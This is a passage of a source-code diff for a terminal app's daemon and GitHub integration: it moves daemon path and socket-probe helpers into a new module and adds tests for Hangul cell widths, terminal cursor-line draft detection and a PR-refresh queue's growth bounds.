-  return ['--log-file', getDaemonLogFilePath()]
-}
-
-// Why: a socket that accepts a connection proves a daemon survived a previous app session and can be reused.
-function probeSocket(socketPath: string): Promise<boolean> {
-  return new Promise((resolve) => {
-    if (process.platform !== 'win32' && !existsSync(socketPath)) {
-      resolve(false)
-      return
-    }
-    const sock = connect({ path: socketPath })
-    let settled = false
-    let timer: ReturnType<typeof setTimeout>
-    function finish(alive: boolean, options?: { destroy?: boolean }): void {
-      if (settled) {
-        return
-      }
-      settled = true
-      clearTimeout(timer)
-      sock.removeListener('connect', onConnect)
-      sock.removeListener('error', onError)
-      if (options?.destroy) {
-        sock.destroy()
-      }
-      resolve(alive)
-    }
-
-    function onConnect(): void {
-      finish(true, { destroy: true })
-    }
-
-    function onError(): void {
-      finish(false)
-    }
-
-    timer = setTimeout(() => {
-      finish(false, { destroy: true })
-    }, 1000)
-    sock.on('connect', onConnect)
-    sock.on('error', onError)
-  })
-}
-
-async function getAliveDaemonSessionCount(
-  socketPath: string,
-  tokenPath: string,
-  protocolVersion = PROTOCOL_VERSION
-): Promise<number | null> {
-  const client = new DaemonClient({ socketPath, tokenPath, protocolVersion })
-  try {
-    await client.ensureConnected()
-    const result = await client.request<ListSessionsResult>('listSessions', undefined)
-    return result.sessions.filter((session) => session.isAlive).length
-  } catch {
-    return null
-  } finally {
-    client.disconnect()
-  }
-}
-
 function createPreservedDaemonHandle(
   runtimeDir: string,
   protocolVersion = PROTOCOL_VERSION,
diff --git a/src/main/daemon/daemon-launch-paths.ts b/src/main/daemon/daemon-launch-paths.ts
new file mode 100644
index 00000000000..9f01d2770e9
--- /dev/null
+++ b/src/main/daemon/daemon-launch-paths.ts
@@ -0,0 +1,93 @@
+import { existsSync, mkdirSync } from 'node:fs'
+import { connect } from 'node:net'
+import { join } from 'node:path'
+import { getAppEnvironment } from '../../shared/app-environment'
+import { getDaemonLogFilePath } from '../observability/logs-directory'
+import { DaemonClient } from './client'
+import { PROTOCOL_VERSION, type ListSessionsResult } from './types'
+
+export function getDaemonRuntimeDir(): string {
+  const dir = join(getAppEnvironment().getPath('userData'), 'daemon')
+  mkdirSync(dir, { recursive: true })
+  return dir
+}
+
+export function getDaemonHistoryDir(): string {
+  const dir = join(getAppEnvironment().getPath('userData'), 'terminal-history')
+  mkdirSync(dir, { recursive: true })
+  return dir
+}
+
+export function getDaemonEntryPath(): string {
+  const appPath = getAppEnvironment().getAppPath()
+  // Why: packaged getAppPath() points at app.asar, so redirect to app.asar.unpacked where daemon-entry.js is fork-executable.
+  // Why asar and not isPackaged: orcad is a packaged non-Electron host whose bundle root holds
+  // orcad.js and daemon-entry.js side by side with no asar to redirect (see parcel-watcher-entry-path.ts).
+  const basePath = appPath.includes('app.asar')
+    ? appPath.replace('app.asar', 'app.asar.unpacked')
+    : appPath
+  const directEntryPath = join(basePath, 'daemon-entry.js')
+  return existsSync(directEntryPath)
+    ? directEntryPath
+    : join(basePath, 'out', 'main', 'daemon-entry.js')
+}
+
+// macOS TCC attribution pins the daemon to a packaged app bundle; there is none on a Node host.
+export function resolvePackagedDarwinAppVersion(): string | null {
+  const environment = getAppEnvironment()
+  return process.platform === 'darwin' && environment.isPackaged() ? environment.getVersion() : null
+}
+
+// Why: pass a log-file arg so field failures are diagnosable, but honor the ORCA_DIAGNOSTICS_DISABLED privacy switch.
+export function daemonLogArgs(): string[] {
+  const disabled = (process.env.ORCA_DIAGNOSTICS_DISABLED ?? '').trim().toLowerCase()
+  return disabled === '1' || disabled === 'true' ? [] : ['--log-file', getDaemonLogFilePath()]
+}
+
+// Why: a socket that accepts a connection proves a daemon survived a previous app session and can be reused.
+export function probeDaemonSocket(socketPath: string): Promise<boolean> {
+  const { promise, resolve } = Promise.withResolvers<boolean>()
+  if (process.platform !== 'win32' && !existsSync(socketPath)) {
+    resolve(false)
+    return promise
+  }
+  const socket = connect({ path: socketPath })
+  let settled = false
+  let timer: ReturnType<typeof setTimeout>
+  const finish = (alive: boolean, destroy = false): void => {
+    if (settled) {
+      return
+    }
+    settled = true
+    clearTimeout(timer)
+    socket.removeListener('connect', onConnect)
+    socket.removeListener('error', onError)
+    if (destroy) {
+      socket.destroy()
+    }
+    resolve(alive)
+  }
+  const onConnect = (): void => finish(true, true)
+  const onError = (): void => finish(false)
+  timer = setTimeout(() => finish(false, true), 1000)
+  socket.on('connect', onConnect)
+  socket.on('error', onError)
+  return promise
+}
+
+export async function getAliveDaemonSessionCount(
+  socketPath: string,
+  tokenPath: string,
+  protocolVersion = PROTOCOL_VERSION
+): Promise<number | null> {
+  const client = new DaemonClient({ socketPath, tokenPath, protocolVersion })
+  try {
+    await client.ensureConnected()
+    const result = await client.request<ListSessionsResult>('listSessions', undefined)
+    return result.sessions.filter((session) => session.isAlive).length
+  } catch {
+    return null
+  } finally {
+    client.disconnect()
+  }
+}
diff --git a/src/main/daemon/hangul-cell-width-agreement.test.ts b/src/main/daemon/hangul-cell-width-agreement.test.ts
new file mode 100644
index 00000000000..f8235068faa
--- /dev/null
+++ b/src/main/daemon/hangul-cell-width-agreement.test.ts
@@ -0,0 +1,152 @@
+/**
+ * #15192, activation-order hypothesis: "the Orca unicode provider is not reached
+ * in production, so Hangul lays out at the wrong width."
+ *
+ * These pin the measurements that close it. Every precomposed Hangul syllable is
+ * two cells under xterm's Unicode 6 tables, its Unicode 11 tables, and Orca's
+ * provider alike, so no activation order — provider, v11 fallback, or the
+ * untouched v6 default — can change how a syllable is budgeted. Whatever moves
+ * Korean text off its cells is not the unicode version.
+ *
+ * The version-sensitive and oracle-sensitive code points are pinned too, as the
+ * complete list of Hangul-block characters where a width disagreement is even
+ * available. None of them occur in modern Korean prose.
+ */
+import { describe, expect, it } from 'vitest'
+import { Terminal } from '@xterm/headless'
+import { Unicode11Addon } from '@xterm/addon-unicode11'
+import { activateOrcaTerminalUnicodeProvider } from '../../shared/terminal-unicode-provider'
+import { isWideGlyph } from './__fixtures__/terminal-wide-cell-grid'
+
+const ORCA_UNICODE_VERSION = 'orca-11-zwj'
+const HANGUL_SYLLABLES_FIRST = 0xac00
+const HANGUL_SYLLABLES_LAST = 0xd7a3
+
+/** Jamo, Compatibility Jamo, Jamo Extended-A, Syllables + Extended-B, halfwidth jamo. */
+const HANGUL_BLOCKS: [number, number][] = [
+  [0x1100, 0x11ff],
+  [0x3130, 0x318f],
+  [0xa960, 0xa97f],
+  [0xac00, 0xd7ff],
+  [0xffa0, 0xffdc]
+]
+
+function* hangulCodePoints(): Generator<number> {
+  for (const [first, last] of HANGUL_BLOCKS) {
+    for (let cp = first; cp <= last; cp += 1) {
+      yield cp
+    }
+  }
+}
+
+type UnicodeServiceInternals = {
+  versions: string[]
+  activeVersion: string
+  wcwidth(codepoint: number): number
+  charProperties(codepoint: number, preceding: number): number
+}
+
+/**
+ * Addon first, activation after — the order every call site uses. This mirrors that
+ * order rather than importing it, so it does not guard the call sites themselves;
+ * `pane-lifecycle.test.ts` covers that the activation runs and runs after the addon.
+ * What is unguarded, and what these cover, is that the real `_core.unicodeService`
+ * shape still lets the activation reach its non-fallback branch on a live terminal.
+ */
+function openWithUnicode11AddonLoaded(): {
+  terminal: Terminal
+  unicode: UnicodeServiceInternals
+} {
+  const terminal = new Terminal({ cols: 40, rows: 10, allowProposedApi: true })
+  terminal.loadAddon(new Unicode11Addon())
+  activateOrcaTerminalUnicodeProvider(terminal as never)
+  const unicode = (
+    terminal as unknown as {
+      _core: { unicodeService: UnicodeServiceInternals }
+    }
+  )._core.unicodeService
+  return { terminal, unicode }
+}
+
+/** Width bits of xterm's packed char properties — what the buffer actually budgets. */
+function propertyWidth(properties: number): number {
+  return (properties >> 1) & 3
+}
+
+/**
+ * Contiguous code points carrying the same detail collapse into one line. The detail
+ * is part of the run key so a changed width re-partitions the output instead of
+ * silently reusing a range that only ever asserted "these two disagree somehow".
+ */
+function summarize(entries: { codepoint: number; detail: string }[]): string[] {
+  const runs: { start: number; end: number; detail: string }[] = []
+  for (const { codepoint, detail } of entries) {
+    const last = runs.at(-1)
+    if (last && last.end === codepoint - 1 && last.detail === detail) {
+      last.end = codepoint
+      continue
+    }
+    runs.push({ start: codepoint, end: codepoint, detail })
+  }
+  const hex = (value: number): string => `U+${value.toString(16).toUpperCase().padStart(4, '0')}`
+  return runs.map(
+    ({ start, end, detail }) =>
+      `${start === end ? hex(start) : `${hex(start)}..${hex(end)}`} ${detail}`
+  )
+}
+
+describe('Hangul cell width agreement (#15192)', () => {
+  it('reaches the Orca provider, not the v11 fallback, on a live terminal', () => {
+    const { terminal, unicode } = openWithUnicode11AddonLoaded()
+    expect(unicode.versions).toContain(ORCA_UNICODE_VERSION)
+    expect(unicode.activeVersion).toBe(ORCA_UNICODE_VERSION)
+    terminal.dispose()
+  })
+
+  it('budgets every precomposed syllable at two cells under v6, v11 and Orca', () => {
+    const { terminal, unicode } = openWithUnicode11AddonLoaded()
+    const disagreeing: { codepoint: number; detail: string }[] = []
+    for (const version of ['6', '11', ORCA_UNICODE_VERSION]) {
+      unicode.activeVersion = version
+      for (let cp = HANGUL_SYLLABLES_FIRST; cp <= HANGUL_SYLLABLES_LAST; cp += 1) {
+        const wcwidth = unicode.wcwidth(cp)
+        const packed = propertyWidth(unicode.charProperties(cp, 0))
+        if (wcwidth !== 2 || packed !== 2) {
+          disagreeing.push({
+            codepoint: cp,
+            detail: `v${version} wcwidth=${wcwidth} packed=${packed}`
+          })
+        }
+      }
+    }
+    expect(summarize(disagreeing)).toEqual([])
+    terminal.dispose()
+  })
+
+  it('records where the wide-cell oracle diverges from xterm on conjoining jamo', () => {
+    const { terminal, unicode } = openWithUnicode11AddonLoaded()
+    const divergent: { codepoint: number; detail: string }[] = []
+    for (const cp of hangulCodePoints()) {
+      const oracle = isWideGlyph(String.fromCodePoint(cp)) ? 2 : 1
+      const xterm = unicode.wcwidth(cp)
+      if (xterm !== oracle) {
+        divergent.push({ codepoint: cp, detail: `oracle=${oracle} xterm=${xterm}` })
+      }
+    }
+    // Why pinned rather than fixed: xterm treats medial/final jamo as zero-width
+    // combining marks, the oracle as one cell — and `isWideGlyph` returns a boolean,
+    // so it cannot express zero-width without changing shape. Only decomposed (NFD)
+    // Korean reaches them and no fixture writes NFD today, so nothing mis-asserts;
+    // this is the tripwire for the fixture that adds it. U+3130/U+318F are unassigned
+    // Compatibility Jamo edges. U+A960..U+A97C is assigned Jamo Extended-A (Old Korean
+    // initials) that xterm makes wide and the oracle narrow — the dangerous direction,
+    // but no fixture uses it. Both widths are asserted so changing either trips this.
+    expect(summarize(divergent)).toEqual([
+      'U+1160..U+11FF oracle=1 xterm=0',
+      'U+3130 oracle=2 xterm=1',
+      'U+318F oracle=2 xterm=1',
+      'U+A960..U+A97C oracle=1 xterm=2'
+    ])
+    terminal.dispose()
+  })
+})
diff --git a/src/main/daemon/headless-emulator.ts b/src/main/daemon/headless-emulator.ts
index e26ce0d3094..18a9b25e6d3 100644
--- a/src/main/daemon/headless-emulator.ts
+++ b/src/main/daemon/headless-emulator.ts
@@ -23,6 +23,8 @@ import {
 import { installDeviceAttributesResponder } from './startup-device-attributes-responder'
 import type { TerminalSnapshot, TerminalModes } from './types'
 import type { TerminalOscLinkRange } from '../../shared/terminal-osc-link-ranges'
+import type { TerminalCursorContext } from '../../shared/terminal-composer-draft'
+import { readTerminalCursorLineContext } from './terminal-cursor-line-context'
 
 export type HeadlessEmulatorOptions = {
   cols: number
@@ -302,6 +304,20 @@ export class HeadlessEmulator {
     return lines
   }
 
+  getVisibleBufferRange(): { start: number; endExclusive: number; totalLength: number } {
+    const buffer = this.terminal.buffer.active
+    const start = buffer.viewportY
+    return {
+      start,
+      endExclusive: Math.min(buffer.length, start + this.terminal.rows),
+      totalLength: buffer.length
+    }
+  }
+
+  getCursorLineContext(rowsAbove = this.terminal.rows): TerminalCursorContext | null {
+    return readTerminalCursorLineContext(this.terminal, rowsAbove)
+  }
+
   getBufferTailLines(limit: number): string[] {
     const buffer = this.terminal.buffer.active
     const start = Math.max(0, buffer.length - Math.max(0, Math.floor(limit)))
diff --git a/src/main/daemon/pty-subprocess-foreground-identity.test.ts b/src/main/daemon/pty-subprocess-foreground-identity.test.ts
index ff739e32d0c..76793cdbab2 100644
--- a/src/main/daemon/pty-subprocess-foreground-identity.test.ts
+++ b/src/main/daemon/pty-subprocess-foreground-identity.test.ts
@@ -50,6 +50,7 @@ vi.mock('../providers/local-pty-utils', async (importOriginal) => {
   const actual = await importOriginal<typeof LocalPtyUtils>()
   return {
     ...actual,
+    getNodePtySpawnHelperCandidates: () => [import.meta.filename],
     resolveUnixShellPath: resolveUnixShellPathMock,
     validateWorkingDirectory: validateWorkingDirectoryMock,
     validateWorkingDirectoryAsync: validateWorkingDirectoryMock
diff --git a/src/main/daemon/pty-subprocess-foreground-scan-cadence.test.ts b/src/main/daemon/pty-subprocess-foreground-scan-cadence.test.ts
index 7d23ffc0a49..47513702b7a 100644
--- a/src/main/daemon/pty-subprocess-foreground-scan-cadence.test.ts
+++ b/src/main/daemon/pty-subprocess-foreground-scan-cadence.test.ts
@@ -10,6 +10,7 @@ import { mkdtempSync, rmSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
 
+import type * as LocalPtyUtils from '../providers/local-pty-utils'
 const { spawnMock, isPwshAvailableMock, resolveAgentForegroundProcessMock } = vi.hoisted(() => ({
   spawnMock: vi.fn(),
   isPwshAvailableMock: vi.fn(),
@@ -39,6 +40,14 @@ vi.mock('../providers/windows-powershell-executable', () => ({
   getWindowsCmdPath: () => CMD_ABS
 }))
 
+vi.mock('../providers/local-pty-utils', async (importOriginal) => {
+  const actual = await importOriginal<typeof LocalPtyUtils>()
+  return {
+    ...actual,
+    getNodePtySpawnHelperCandidates: () => [import.meta.filename]
+  }
+})
+
 vi.mock('../providers/agent-foreground-process', () => ({
   resolveAgentForegroundProcessWithAvailability: async (...args: unknown[]) => {
     const value = await resolveAgentForegroundProcessMock(...args)
diff --git a/src/main/daemon/pty-subprocess-handle-lifecycle.test.ts b/src/main/daemon/pty-subprocess-handle-lifecycle.test.ts
index 6467d020821..6ab32840010 100644
--- a/src/main/daemon/pty-subprocess-handle-lifecycle.test.ts
+++ b/src/main/daemon/pty-subprocess-handle-lifecycle.test.ts
@@ -50,6 +50,7 @@ vi.mock('../providers/local-pty-utils', async (importOriginal) => {
   const actual = await importOriginal<typeof LocalPtyUtils>()
   return {
     ...actual,
+    getNodePtySpawnHelperCandidates: () => [import.meta.filename],
     resolveUnixShellPath: resolveUnixShellPathMock,
     validateWorkingDirectory: validateWorkingDirectoryMock,
     validateWorkingDirectoryAsync: validateWorkingDirectoryMock
diff --git a/src/main/daemon/terminal-cursor-line-context.test.ts b/src/main/daemon/terminal-cursor-line-context.test.ts
new file mode 100644
index 00000000000..fcf5fa2b492
--- /dev/null
+++ b/src/main/daemon/terminal-cursor-line-context.test.ts
@@ -0,0 +1,71 @@
+import { Terminal } from '@xterm/headless'
+import { describe, expect, it } from 'vitest'
+import { detectTerminalComposerDraft } from '../../shared/terminal-composer-draft'
+import { HeadlessEmulator } from './headless-emulator'
+import { readTerminalCursorLineContext } from './terminal-cursor-line-context'
+
+function writeSync(terminal: Terminal, data: string): void {
+  const core = (terminal as unknown as { _core: { writeSync(data: string): void } })._core
+  core.writeSync(data)
+}
+
+describe('readTerminalCursorLineContext', () => {
+  it.each([
+    { cols: 19, cursorRowTail: 'proceed with the ', continuation: 'release' },
+    { cols: 18, cursorRowTail: 'proceed with the', continuation: ' release' }
+  ])(
+    'preserves a space at a dimmed soft-wrap boundary with $cols columns',
+    ({ cols, cursorRowTail, continuation }) => {
+      const terminal = new Terminal({ cols, rows: 6, allowProposedApi: true })
+      writeSync(
+        terminal,
+        `${'─'.repeat(cols)}\r\n❯ \x1b7\x1b[2mproceed with the release\x1b[22m\x1b8`
+      )
+
+      const context = readTerminalCursorLineContext(terminal, 16)
+
+      expect(context?.rawAfterCursor).toBe(cursorRowTail)
+      expect(context?.rowsBelow).toEqual([continuation, '', '', ''])
+      expect(context?.rowsBelowWrapped).toEqual([true, false, false, false])
+      expect(detectTerminalComposerDraft(context)?.text).toBe('proceed with the release')
+      terminal.dispose()
+    }
+  )
+
+  it('preserves a typed space before the cursor moves onto a wrapped row', () => {
+    const terminal = new Terminal({ cols: 19, rows: 6, allowProposedApi: true })
+    writeSync(terminal, '───────────────────\r\n❯ proceed with the release')
+
+    const context = readTerminalCursorLineContext(terminal, 16)
+
+    expect(context?.typedRows).toEqual(['───────────────────', '❯ proceed with the ', 'release'])
+    expect(context?.rowsWrapped).toEqual([false, false, true])
+    expect(detectTerminalComposerDraft(context)?.text).toBe('proceed with the release')
+    terminal.dispose()
+  })
+
+  it('recognizes a colored context-only Codex status footer', () => {
+    const terminal = new Terminal({ cols: 80, rows: 8, allowProposedApi: true })
+    writeSync(
+      terminal,
+      '\x1b[1m›\x1b[22m \x1b7review the change\r\n \r\n\x1b[38;2;242;181;144mContext 0% used\x1b[0m\x1b8'
+    )
+
+    const context = readTerminalCursorLineContext(terminal, 16)
+
+    expect(detectTerminalComposerDraft(context)?.text).toBe('review the change')
+    terminal.dispose()
+  })
+
+  it('finds a composer prompt more than 16 wrapped rows above the cursor', async () => {
+    const draft = `proceed ${'with '.repeat(65)}release`
+    const emulator = new HeadlessEmulator({ cols: 19, rows: 30 })
+    await emulator.write(`${'─'.repeat(19)}\r\n❯ ${draft}`)
+
+    const context = emulator.getCursorLineContext()
+
+    expect(context?.rows.length).toBeGreaterThan(17)
+    expect(detectTerminalComposerDraft(context)?.text).toBe(draft)
+    emulator.dispose()
+  })
+})
diff --git a/src/main/daemon/terminal-cursor-line-context.ts b/src/main/daemon/terminal-cursor-line-context.ts
new file mode 100644
index 00000000000..cf9593e13e8
--- /dev/null
+++ b/src/main/daemon/terminal-cursor-line-context.ts
@@ -0,0 +1,99 @@
+import type { IBufferLine, Terminal } from '@xterm/headless'
+import type { TerminalCursorContext } from '../../shared/terminal-composer-draft'
+
+function undimmedText(line: IBufferLine, fromX = 0, trimRight = true): string {
+  let text = ''
+  for (let x = fromX; x < line.length; x += 1) {
+    const cell = line.getCell(x)
+    if (!cell || cell.isDim() || cell.getWidth() === 0) {
+      continue
+    }
+    text += cell.getChars() || ' '
+  }
+  return trimRight ? text.trimEnd() : text
+}
+
+function firstVisibleCellIsBold(line: IBufferLine): boolean {
+  for (let x = 0; x < line.length; x += 1) {
+    const cell = line.getCell(x)
+    if (!cell || cell.getWidth() === 0 || !cell.getChars().trim()) {
+      continue
+    }
+    return Boolean(cell.isBold())
+  }
+  return false
+}
+
+function firstVisibleCellHasCustomForeground(line: IBufferLine): boolean {
+  for (let x = 0; x < line.length; x += 1) {
+    const cell = line.getCell(x)
+    if (!cell || cell.getWidth() === 0 || !cell.getChars().trim()) {
+      continue
+    }
+    return !cell.isFgDefault()
+  }
+  return false
+}
+
+export function readTerminalCursorLineContext(
+  terminal: Terminal,
+  rowsAbove: number
+): TerminalCursorContext | null {
+  const buffer = terminal.buffer.active
+  const cursorRow = buffer.baseY + buffer.cursorY
+  const cursorLine = buffer.getLine(cursorRow)
+  if (!cursorLine) {
+    return null
+  }
+  const rows: string[] = []
+  const typedRows: string[] = []
+  const promptGlyphBoldRows: boolean[] = []
+  const rowsWrapped: boolean[] = []
+  const start = Math.max(buffer.viewportY, cursorRow - Math.max(0, Math.floor(rowsAbove)))
+  for (let row = start; row <= cursorRow; row += 1) {
+    const line = buffer.getLine(row)
+    const nextLineIsWrapped = buffer.getLine(row + 1)?.isWrapped ?? false
+    rows.push(line?.translateToString(!nextLineIsWrapped) ?? '')
+    typedRows.push(line ? undimmedText(line, 0, !nextLineIsWrapped) : '')
+    promptGlyphBoldRows.push(line ? firstVisibleCellIsBold(line) : false)
+    rowsWrapped.push(line?.isWrapped ?? false)
+  }
+  const rowsBelow: string[] = []
+  const typedRowsBelow: string[] = []
+  const rowsBelowWrapped: boolean[] = []
+  const rowsBelowCustomForeground: boolean[] = []
+  const end = Math.min(
+    buffer.viewportY + terminal.rows - 1,
+    cursorRow + Math.max(0, Math.floor(rowsAbove))
+  )
+  for (let row = cursorRow + 1; row <= end; row += 1) {
+    const line = buffer.getLine(row)
+    const nextLineIsWrapped = buffer.getLine(row + 1)?.isWrapped ?? false
+    rowsBelow.push(line?.translateToString(!nextLineIsWrapped) ?? '')
+    typedRowsBelow.push(line ? undimmedText(line, 0, !nextLineIsWrapped) : '')
+    rowsBelowWrapped.push(line?.isWrapped ?? false)
+    rowsBelowCustomForeground.push(line ? firstVisibleCellHasCustomForeground(line) : false)
+  }
+  return {
+    rows,
+    typedRows,
+    promptGlyphBoldRows,
+    rowsWrapped,
+    rowsBelow,
+    typedRowsBelow,
+    rowsBelowWrapped,
+    rowsBelowCustomForeground,
+    beforeCursor: cursorLine.translateToString(true, 0, buffer.cursorX),
+    afterCursor: undimmedText(
+      cursorLine,
+      buffer.cursorX,
+      !(buffer.getLine(cursorRow + 1)?.isWrapped ?? false)
+    ),
+    rawAfterCursor: cursorLine.translateToString(
+      !(buffer.getLine(cursorRow + 1)?.isWrapped ?? false),
+      buffer.cursorX
+    ),
+    cursorHidden: !terminal.modes.showCursor,
+    cursorViewportRow: cursorRow - buffer.viewportY
+  }
+}
diff --git a/src/main/github/pr-refresh-queue-growth-bound.test.ts b/src/main/github/pr-refresh-queue-growth-bound.test.ts
new file mode 100644
index 00000000000..9bd4c6e19bf
--- /dev/null
+++ b/src/main/github/pr-refresh-queue-growth-bound.test.ts
@@ -0,0 +1,281 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type { GitHubPRRefreshCandidate } from '../../shared/github/pull-request-refresh-types'
+
+const { coordinatorMocks, moduleMocks } = await vi.hoisted(async () => {
+  const moduleMocks = await import('./pr-refresh-coordinator-test-mocks')
+  return { coordinatorMocks: moduleMocks.createPRRefreshCoordinatorMocks(), moduleMocks }
+})
+
+vi.mock('electron', () => moduleMocks.electronModuleMock(coordinatorMocks))
+vi.mock('./client', () => moduleMocks.clientModuleMock(coordinatorMocks))
+vi.mock('./github-api-repository', () =>
+  moduleMocks.githubApiRepositoryModuleMock(coordinatorMocks)
+)
+vi.mock('./rate-limit', () => moduleMocks.rateLimitModuleMock(coordinatorMocks))
+vi.mock('../ipc/ui', () => moduleMocks.ipcUiModuleMock(coordinatorMocks))
+
+import { makeCandidate, makePR } from './pr-refresh-coordinator-test-harness'
+
+const { getPRForBranchOutcomeMock } = coordinatorMocks
+const WORKTREES = 20
+const LINKED_PR_KEY = 'local::runtime:host::/repo::pr::42'
+
+function visibleCandidates(): GitHubPRRefreshCandidate[] {
+  return Array.from({ length: WORKTREES }, (_, i) =>
+    makeCandidate({
+      cacheKey: `/repo::feature/${i}`,
+      branch: `feature/${i}`,
+      worktreeId: `wt-${i}`,
+      cachedFetchedAt: null
+    })
+  )
+}
+
+describe('pr-refresh queue growth bounds', () => {
+  beforeEach(() => {
+    moduleMocks.resetPRRefreshCoordinatorMocks(coordinatorMocks)
+    getPRForBranchOutcomeMock.mockImplementation(async () => ({
+      kind: 'found' as const,
+      pr: makePR({ checksStatus: 'pending' as const }),
+      fetchedAt: Date.now()
+    }))
+  })
+
+  afterEach(() => {
+    vi.useRealTimers()
+  })
+
+  it('keeps the queue bounded across repeated visible reports and background pauses', async () => {
+    const { reportVisiblePRRefreshCandidates, _getPRRefreshQueueSizeForTests } =
+      await import('./pr-refresh-coordinator')
+
+    for (let cycle = 0; cycle < 200; cycle += 1) {
+      reportVisiblePRRefreshCandidates(visibleCandidates(), cycle + 1, 1)
+      await vi.advanceTimersByTimeAsync(30_000)
+    }
+    // 200 report cycles * 20 candidates = 4000 enqueues; the queue coalesces to one entry per key.
+    expect(_getPRRefreshQueueSizeForTests()).toBeLessThanOrEqual(WORKTREES)
+  })
+
+  it('keeps visibility windows and error backoff bounded when renderer windows churn', async () => {
+    const {
+      reportVisiblePRRefreshCandidates,
+      _getVisiblePRRefreshWindowCountForTests,
+      _getPRRefreshErrorBackoffCountForTests
+    } = await import('./pr-refresh-coordinator')
+
+    getPRForBranchOutcomeMock.mockImplementation(async () => ({
+      kind: 'upstream-error' as const,
+      errorType: 'unknown' as const,
+      message: 'boom',
+      fetchedAt: Date.now()
+    }))
+
+    for (let windowId = 1; windowId <= 300; windowId += 1) {
+      coordinatorMocks.getAllWebContentsMock.mockReturnValue([
+        { id: windowId, isDestroyed: () => false, send: coordinatorMocks.sendMock }
+      ])
+      reportVisiblePRRefreshCandidates(visibleCandidates(), 1, windowId)
+      await vi.advanceTimersByTimeAsync(60_000)
+    }
+    expect(_getVisiblePRRefreshWindowCountForTests()).toBeLessThanOrEqual(1)
+    expect(_getPRRefreshErrorBackoffCountForTests()).toBeLessThanOrEqual(WORKTREES)
+  })
+
+  it("drops a worktree's stale branch aliases instead of fanning out to its whole history", async () => {
+    const {
+      reportVisiblePRRefreshCandidates,
+      _getPRRefreshAliasCountForTests,
+      _getPRRefreshQueueSizeForTests
+    } = await import('./pr-refresh-coordinator')
+
+    // A linked-PR refreshKey ignores the branch, so one entry survives every
+    // branch switch, and each switch used to add an alias that only the next
+    // drain could shed — so the fan-out tracked branch churn instead of the one
+    // live branch. (Draining between switches caps the unfixed count in the low
+    // single digits here; the parked-entry case below is where it really piles up.)
+    for (let i = 0; i < 300; i += 1) {
+      reportVisiblePRRefreshCandidates(
+        [
+          makeCandidate({
+            cacheKey: `/repo::churn/${i}`,
+            branch: `churn/${i}`,
+            worktreeId: 'wt-churn',
+            linkedPRNumber: 42,
+            cachedFetchedAt: null
+          })
+        ],
+        i + 1,
+        1
+      )
+      await vi.advanceTimersByTimeAsync(20_000)
+    }
+
+    expect(_getPRRefreshQueueSizeForTests()).toBe(1)
+    expect(_getPRRefreshAliasCountForTests(LINKED_PR_KEY)).toBe(1)
+    const broadcastAliasCounts = coordinatorMocks.sendMock.mock.calls
+      .filter((call) => call[0] === 'gh:prRefreshEvent')
+      .map((call) => (call[1] as { aliases: unknown[] }).aliases.length)
+    expect(Math.max(...broadcastAliasCounts)).toBe(1)
+  })
+
+  it('keeps the newer alias when a branch switch lands mid-request', async () => {
+    const { reportVisiblePRRefreshCandidates, _getPRRefreshAliasCountForTests } =
+      await import('./pr-refresh-coordinator')
+
+    const churnCandidate = (index: number): GitHubPRRefreshCandidate =>
+      makeCandidate({
+        cacheKey: `/repo::churn/${index}`,
+        branch: `churn/${index}`,
+        worktreeId: 'wt-churn',
+        linkedPRNumber: 42,
+        cachedFetchedAt: null
+      })
+
+    let switched = false
+    getPRForBranchOutcomeMock.mockImplementation(async () => {
+      if (!switched) {
+        switched = true
+        // The entry is already out of the queue here, so this re-enqueue creates the
+        // entry the in-flight request's stale follow-up aliases merge back into.
+        reportVisiblePRRefreshCandidates([churnCandidate(2)], 2, 1)
+      }
+      return {
+        kind: 'found' as const,
+        pr: makePR({ checksStatus: 'pending' as const }),
+        fetchedAt: Date.now()
+      }
+    })
+
+    reportVisiblePRRefreshCandidates([churnCandidate(1)], 1, 1)
+    await vi.advanceTimersByTimeAsync(120_000)
+
+    expect(_getPRRefreshAliasCountForTests(LINKED_PR_KEY)).toBe(1)
+    const broadcasts = coordinatorMocks.sendMock.mock.calls.filter(
+      (call) => call[0] === 'gh:prRefreshEvent'
+    ) as [string, { aliases: { cacheKey: string }[] }][]
+    const lastBroadcast = broadcasts.at(-1)
+    expect(lastBroadcast?.[1].aliases.map((alias) => alias.cacheKey)).toEqual(['/repo::churn/2'])
+  })
+
+  it('does not restore an older candidate over a fresher branch switch', async () => {
+    const { reportVisiblePRRefreshCandidates } = await import('./pr-refresh-coordinator')
+    const first = makeCandidate({
+      cacheKey: '/repo::churn/1',
+      branch: 'churn/1',
+      worktreeId: 'wt-churn',
+      linkedPRNumber: 42,
+      cachedFetchedAt: null
+    })
+    const switched = makeCandidate({
+      cacheKey: '/repo::churn/2',
+      branch: 'churn/2',
+      worktreeId: 'wt-churn',
+      linkedPRNumber: 42,
+      cachedFetchedAt: Date.now(),
+      cachedHasPR: true,
+      cachedPRState: 'open',
+      cachedChecksStatus: 'success'
+    })
+
+    let didSwitch = false
+    getPRForBranchOutcomeMock.mockImplementation(async () => {
+      if (!didSwitch) {
+        didSwitch = true
+        reportVisiblePRRefreshCandidates([switched], 2, 1)
+      }
+      return {
+        kind: 'found' as const,
+        pr: makePR({ checksStatus: 'pending' as const }),
+        fetchedAt: Date.now()
+      }
+    })
+
+    reportVisiblePRRefreshCandidates([first], 1, 1)
+    await vi.advanceTimersByTimeAsync(100_000)
+
+    expect(getPRForBranchOutcomeMock.mock.calls.map((call) => call[1])).toEqual(['churn/1'])
+    await vi.advanceTimersByTimeAsync(500_001)
+    expect(getPRForBranchOutcomeMock.mock.calls.map((call) => call[1])).toEqual([
+      'churn/1',
+      'churn/2'
+    ])
+  })
+
+  it('keeps distinct worktrees sharing one linked-PR key in the fan-out', async () => {
+    const { enqueuePRRefresh, _getPRRefreshAliasCountForTests } =
+      await import('./pr-refresh-coordinator')
+
+    for (let i = 0; i < 4; i += 1) {
+      enqueuePRRefresh(
+        makeCandidate({
+          cacheKey: `/repo::shared/${i}`,
+          branch: `shared/${i}`,
+          worktreeId: `wt-${i}`,
+          linkedPRNumber: 42,
+          cachedFetchedAt: Date.now() + 60_000
+        }),
+        'visible',
+        40,
+        1
+      )
+    }
+    expect(_getPRRefreshAliasCountForTests(LINKED_PR_KEY)).toBe(4)
+  })
+
+  it('coalesces branch churn into one alias while the entry waits to drain', async () => {
+    const { enqueuePRRefresh, _getPRRefreshAliasCountForTests, _getPRRefreshQueueSizeForTests } =
+      await import('./pr-refresh-coordinator')
+
